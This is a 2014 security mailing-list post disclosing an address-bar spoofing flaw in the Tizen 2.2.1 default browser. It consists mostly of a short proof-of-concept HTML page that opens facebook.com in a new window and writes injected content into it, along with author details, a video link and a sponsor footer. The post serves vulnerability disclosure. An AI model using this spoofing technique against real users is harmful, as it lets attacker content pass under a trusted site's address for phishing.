Tizen 2.2.1 WebKit Address Spoofing Vulnerability

Ajin Abraham <[email protected]> Tue, 2 Dec 2014 18:14:41 +0530
Newsgroups gmane.comp.security.web-applications,gmane.comp.security.websecurity
Message-ID <CAKHNSoxbJQF-2kcJ9cObTTR2-NoXrK4wtBDZUExauoNnbwZLzQ@mail.gmail.com>
<!--
Title: Tizen 2.2.1 WebKit Address Spoofing Vulnerability
Author: Ajin Abraham | @ajinabraham
Website: http://opensecurity.in
Affected Product: Tizen Default Browser
Affected Version: Tizen 2.2.1
Video Demo: https://www.youtube.com/watch?v=QKbTSxlCX7c

-->
<html>
<head><title>Tizen Browser - Address bar spoofing</title>
<script>
w=window.open('https://facebook.com/');
w.document.write("<h1>You 've been Hacked</h1>");
w.focus();
</script>
</html>

Regards,
Ajin



This list is sponsored by Cenzic
--------------------------------------
Let Us Hack You. Before Hackers Do!
It's Finally Here - The Cenzic Website HealthCheck. FREE.
Request Yours Now! 
http://www.cenzic.com/2009HClaunch_Securityfocus
--------------------------------------